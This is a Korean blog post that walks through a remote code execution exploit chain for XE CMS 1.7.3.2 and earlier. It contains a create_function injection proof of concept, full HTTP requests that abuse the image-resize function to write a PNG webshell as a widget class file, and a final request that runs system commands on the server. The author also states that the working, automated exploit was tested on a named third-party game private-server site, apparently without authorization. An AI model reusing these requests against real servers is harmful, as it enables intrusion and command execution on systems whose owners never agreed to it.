예전에 XE 1.7.3.2 이하 버전에 있었던 취약점.
$oWidget = $tmp_fn();
관련 URI : http://teamcrak.tistory.com/369
https://code.google.com/p/xe-core/source/detail?r=13127 (1.7.3.2 관련 패치 내용)
- 취약점이 발생하는 파일
/modules/widget/widget.controller.php
- 취약점 발생 부분
624번 라인 : function getWidgetObject($widget)
....
// Creating Objects
$tmp_fn = create_function('', "return new {$widget}();");$oWidget = $tmp_fn();
....
저 create_function 함수에서 취약점이 발생. 이 함수는 PHP 내장 함수로
이 레퍼런스에서 확인하면 됨.
문제는 이 함수가 실행되는 getWidgetObject() 함수가 실행되는 부분을 역추적해야 한다.... 아직은 이것이 문제다.
** 참고 : create_function 함수 관련 취약점 정보는
이 페이지에서 확인하면 됨.
XE에서 취약점이 발생하는 create_function('', "return new {$widget}();"); 부분의 원리를 파악해보기 위해서
<?php
$widget=$_GET['a'];
$tmp_fn = create_function('', "return new {$widget}();");
$oWidget = $tmp_fn();
?>
$widget=$_GET['a'];
$tmp_fn = create_function('', "return new {$widget}();");
$oWidget = $tmp_fn();
?>
POC : /test.php?a=a;}phpinfo();//
와 같은 샘플 코드로 create_function에 발생하는 취약점을 이해해본다.
위 코드에서 code injection을 하기 위해서는 "a;}phpinfo();//" 와 같은 패턴을 사용할 수 있다.
이 패턴에서 중요한 것은 ";}" 과 "//"이다.
이 두 개의 문자열로 앞 뒤 코드들을 모두 무력화? 시키고 phpinfo() 를 실행시킨다.
그럼 XE에 취약점을 시도하기 위해서 XE를 분석해보자.
XE에서는 대부분의 설정 값이나 데이터를 HTTP Post 기반의 XML 구조를 사용하여 주고받는다.
POST /test/xe/index.php HTTP/1.1
Host: localhost
Content-Length: 329
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: text/plain
Referer: http://localhost/test/xe/index.php?module=widget&act=dispWidgetGenerateCodeInPage&selected_widget=newest_document&module_srl=62
<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<selected_widget><![CDATA[newest_document]]></selected_widget>
<skin><![CDATA[xe_official]]></skin>
<colorset><![CDATA[undefined]]></colorset>
<module><![CDATA[widget]]></module>
<act><![CDATA[procWidgetGenerateCodeInPage]]></act>
</params>
</methodCall>
Host: localhost
Content-Length: 329
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: text/plain
Referer: http://localhost/test/xe/index.php?module=widget&act=dispWidgetGenerateCodeInPage&selected_widget=newest_document&module_srl=62
<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<selected_widget><![CDATA[newest_document]]></selected_widget>
<skin><![CDATA[xe_official]]></skin>
<colorset><![CDATA[undefined]]></colorset>
<module><![CDATA[widget]]></module>
<act><![CDATA[procWidgetGenerateCodeInPage]]></act>
</params>
</methodCall>
이렇게 POST 기반의 XML 구조를 사용한다. "<module>"로 실행할 모듈을 정하고, "<act>"로 실행할 함수를 정의한다.
XE는 이러한 XML 구조를 이용해서 모듈과 함수를 로드할 수 있기 때문에 이 구조를 이용해서 취약점을 시도할 수 있다고 가정해본다.
취약점이 발생하는 create_function 함수가 있는 부분은 /modules/widget/widget.controller.php 파일의 getWidgetObject() 함수이다.
이 함수에 $widget 인자가 넘어온다.
getWidgetObject() -> getCache() -> execute() -> procWidgetGenerateCodeInPage()
recompileWidget() transWidget()
transWidgetBox()
*** 일단 위의 함수들을 하나씩 역추적 해보자 ***
getWidgetObject() 함수를 살펴보면 create_function() 함수 전에 file_exists() 함수를 먼저 우회해야 한다.
그런데, 이 함수는 현재 널바이트로 우회되지 않는다. 이 이야기는 이 함수 자체에서 어떠한 변조를 주지 않는다는 가설이 만들어지게 되는 것이다.
getWidgetObject() 함수에서 변조가 발생하지 않는다면 상위 함수들을 차례로 봐야 한다.
가장 유력한 최상위 함수 procWidgetGenerateCodeInPage()를 살펴본다.
function procWidgetGenerateCodeInPage()
{
$widget = Context::get('selected_widget');
if(!$widget) return new Object(-1,'msg_invalid_request');
if(!in_array($widget,array('widgetBox','widgetContent')) && !Context::get('skin')) return new Object(-1,Context::getLang('msg_widget_skin_is_null'));
$attribute = $this->arrangeWidgetVars($widget, Context::getRequestVars(), $vars);
// Wanted results
$widget_code = $this->execute($widget, $vars, true, false);
$oModuleController = &getController('module');
$oModuleController->replaceDefinedLangCode($widget_code);
$this->add('widget_code', $widget_code);
}
{
$widget = Context::get('selected_widget');
if(!$widget) return new Object(-1,'msg_invalid_request');
if(!in_array($widget,array('widgetBox','widgetContent')) && !Context::get('skin')) return new Object(-1,Context::getLang('msg_widget_skin_is_null'));
$attribute = $this->arrangeWidgetVars($widget, Context::getRequestVars(), $vars);
// Wanted results
$widget_code = $this->execute($widget, $vars, true, false);
$oModuleController = &getController('module');
$oModuleController->replaceDefinedLangCode($widget_code);
$this->add('widget_code', $widget_code);
}
이 함수에서는 selected_widget 이라는 get 파라미터를 받는다. 이 파라미터가 $widget에 저장되어 getWidgetObject()까지 내려가는 것이다.
허나 이상한 것은, selected_widget 파라미터를 변조하게 되면 정상적인 동작이 일어나지 않는다는 것이다.
그럼 이 함수도 아니다. 가장 유력했던 procWidgetGenerateCodeInPage() 함수도 아니라면 다른 곳에서 1차 취약점을 일으킨다는 가설이 새로 생긴다.
그래서 릴리즈 노트를 자세히 살펴보기로 하자. (https://code.google.com/p/xe-core/source/detail?r=13127 )
릴리즈 내용 중 modules/file/file.controller.php 파일이 의심스럽다. 혹시나 하여 modules/file/conf/module.xml 파일도 같이 봤더니
modules/file/conf/module.xml 파일에서 procFileImageResize() 함수에 대한 수정이 있었고, file.controller.php 에서도
procFileImageResize() 함수에 대한 수정이 있었다.
file.controller.php 파일의 수정내용은 얼추보니. source_src , outpur_src 에 대한 수정이다. 파일경로를 변조하지 못하도록 수정한 것이다.
수정된 이 함수는 이미지 파일을 리사이징하는 함수이다. 이 함수의 경로를 마음대로 조작가능한 문제점이 있었던 것이다.
이 함수를 보니 teamcrak 보고서에 이미지를 사용한 이유가 이 때문인가 하는 생각이 든다.
이 시점에 드는 생각!!
- 1) 이미지 파일은 GD 라이브러리로 리사이징 된다. PHP코드를 어떻게 삽입할 수 있을 것인가?
- 2) 이 함수와 위젯 컨트롤러의 create_function과 어떻게 이어지는가?
일단 패치된 procFileImageResize() 함수를 테스트 해보록하자.
먼저 게시판에 첨부파일로 그림파일을 첨부한 뒤 본문 삽입을 눌러서 파일의 경로를 임시로 확인하도록 하자.
POST /test/xe/index.php HTTP/1.1
Host: localhost
Content-Length: 405
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain
<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<source_src><![CDATA[./files/attach/images/112/121/1adca37d2b6a0310bdb2eb6dda52e137.gif]]></source_src>
<width><![CDATA[100]]></width>
<height><![CDATA[200]]></height>
<output_src><![CDATA[./widgets/a/a.class.php]]></output_src>
<module><![CDATA[file]]></module>
<act><![CDATA[procFileImageResize]]></act>
</params>
</methodCall>
Host: localhost
Content-Length: 405
Accept: application/xml, text/xml, */*; q=0.01
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Content-Type: text/plain
<?xml version="1.0" encoding="utf-8" ?>
<methodCall>
<params>
<source_src><![CDATA[./files/attach/images/112/121/1adca37d2b6a0310bdb2eb6dda52e137.gif]]></source_src>
<width><![CDATA[100]]></width>
<height><![CDATA[200]]></height>
<output_src><![CDATA[./widgets/a/a.class.php]]></output_src>
<module><![CDATA[file]]></module>
<act><![CDATA[procFileImageResize]]></act>
</params>
</methodCall>
XE의 XML 구조를 이용해서, module 에는 해당 함수의 소속?인 file을 넣고 act에는 함수명을 넣는다. 그 다음 해당 함수의 get 파라미터들 넣는다.
$source_src = Context::get('source_src');
$width = Context::get('width');
$height = Context::get('height');
$type = Context::get('type');
$output_src = Context::get('output_src');
$width = Context::get('width');
$height = Context::get('height');
$type = Context::get('type');
$output_src = Context::get('output_src');
함수의 코드를 보면 위와 같이 get 파라미터들이 명시되어 있는데, 이를 같이 보낸다. 근데 코드를 보니 $type은 사용되는 곳이 없다.
그래서 파라미터에서 제외 시켰다. 오류도 발생하지 않기에...
그 다음 게시판에서 임시로 올렸던 그림 파일의 경로를 source_src에 넣고
저장한 경로를 widget 스타일 폴더를 가장하여 없는 폴더를 넣었더니 없는 폴더가 생성되면서 이미지 파일이 리사이징되어 저장되었다.
오호라... 이를 이용하면 LFI가 가능할 것 같다.
그런데 문제가 발생하였다. 이미지 리사이징할 때 XE는 GD 라이브러리를 사용하는데
정상적인 그림파일이 아니면 오류가 발생하여 진행이 되지 않는다.
그림 파일에 PHP 코드를 삽입하는 여러가지 방법을 사용해 봤지만 다 튕겨낸다.. 아 된장....!!!!
자.. 다시 Teamcrak의 익스플로잇 스샷을 다시 봐보자.
point 1 ) "File Resize OK" - 이미지 리사이징 문제를 우회했단 건가?? 이미지 백도어??
2 ) "Command Excution(Webshell Upload) - 명령이 실행됬다?? 하드 코딩된 PHP 코드일 가능성이 크다고 보여짐.
아마도 웹쉘을 만들라는 명령어겠지
Teamcrack 스샷을 봤을 리사이즈 함수를 우회한건 거의 확실한 것 같다.
그래서 각종 이미지 백도어에 관련된 기술을 찾아봤다.
그러던 중 위 주소의 PNG 기반 이미지 백도어 기술을 접하게 됬다.
작년 자료라서 보긴 했던거 같은데 그냥 자세히 보진 않았다. 그런데 테스트 결과 희망이 보인다.
[그림 : 게시판에 업로드한 PNG 이미지 백도어]
[그림 : 이미지 리사이징 함수를 거친 이미지 백도어]
정말 놀라운 것은 똑같다는 것이다. 보통 이미지 리사이징 함수를 거치게 되면 GD라이브러리의 헤더도 추가되고 바디도 약간 값이 바뀌게 되는데
이 이미지는 똑같다. 놀랍다.
위 이미지 백도어의 원리를 간단히 설명해 보겠다.
바이너리 파일을 일반 텍스트처럼 출력 시켰을 때 깨져서 보이지만 일부는 정상 문자열로 보이게 된다.
즉, 이 컬러들을 잘 배치하면 정상적인 그림처럼 보이면서도 문자열로 뿌렸을 때 웹쉘 코드가 되게 되는 것이다.
가장 큰 장점은 이미지 헤더를 건드리는 방법이 아는 바디에 넣는 방법이란 것과 GD 라이브러리를 거쳐도 웹쉘 코드가 유지된다는 것.
좀 더 자세히 설명하자면, PNG 파일의 IDAT Chunk 포맷을 이용한 공격인데.
PNG의 IDAT 타입을 가만히 보면 기존 헤더에 PHP 코드처럼 보이는 문자열이 있다.
저 문자열이 보인다는 것은 잘만하면 PHP 웹쉘 코드를 만들 수 있다는 것. 더 이상은 엄청 복잡하니까 설명은 여기까지....
일단은, 위의 이미지를 게시판에 임시로 올리고 이미지 리사이징 함수로
widgets/a/a.class.php 경로로 내보낸 다음 위젯 컨트롤러로 실행시켜보자.
POST /test/xe/ HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/json
act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/json
act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a
XE에서는 XML 구조도 사용하지만 Ajax를 지원하기 때문에 json 구조도 지원한다.
이번엔 이미지 백도어에서 POST를 사용하기 때문에 post 사용을 위해서 위 방식의 POST를 사용함.
1.7.3.2의 위젯 컨트롤러에서는 "/widgets/위젯명/위젯명.class.php" 파일만 존재하면
정상적으로 불러들여 실행시킨다.
기존에 teamcrack 보고서에서 create_function() 함수가 취약점 원인이라고 했다.
하지만 실질적인 공격코드는 create_function() 함수를 거치기전 require_once() 함수로 불러올 때
이미 실행된다.
그럼 완성된 공격 HTTP post를 만들어 보자.
POST /test/xe/?0=system HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a&1=dir
Host: localhost
Connection: keep-alive
Content-Length: 109
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36
Content-Type: application/x-www-form-urlencoded
act=procWidgetGenerateCodeInPage&module=widget&colorset=undefined&skin=xe_offical&selected_widget=a&1=dir
위의 HTTP를 보면 POST 파라미터를 사용하기 위해서 application/json 에서 x-www-form-urlencoded 로 변경하고, GET 파라미터로 "0" 과 POST 파라미터로 "1"을 사용했다.
그렇게 되면 최종적으로 위와 같이 공격이 성공하게 된다.
테스트 사이트는 프리서버로 정했다.
네이버에서 리니지2 프리서버를 찾았다.
프리서버 사이트 : http://l2neo.dlinkddns.com
익스플로잇 제작 성공
Full 자동화 익스플로잇임.
댓글 없음:
댓글 쓰기
참고: 블로그의 회원만 댓글을 작성할 수 있습니다.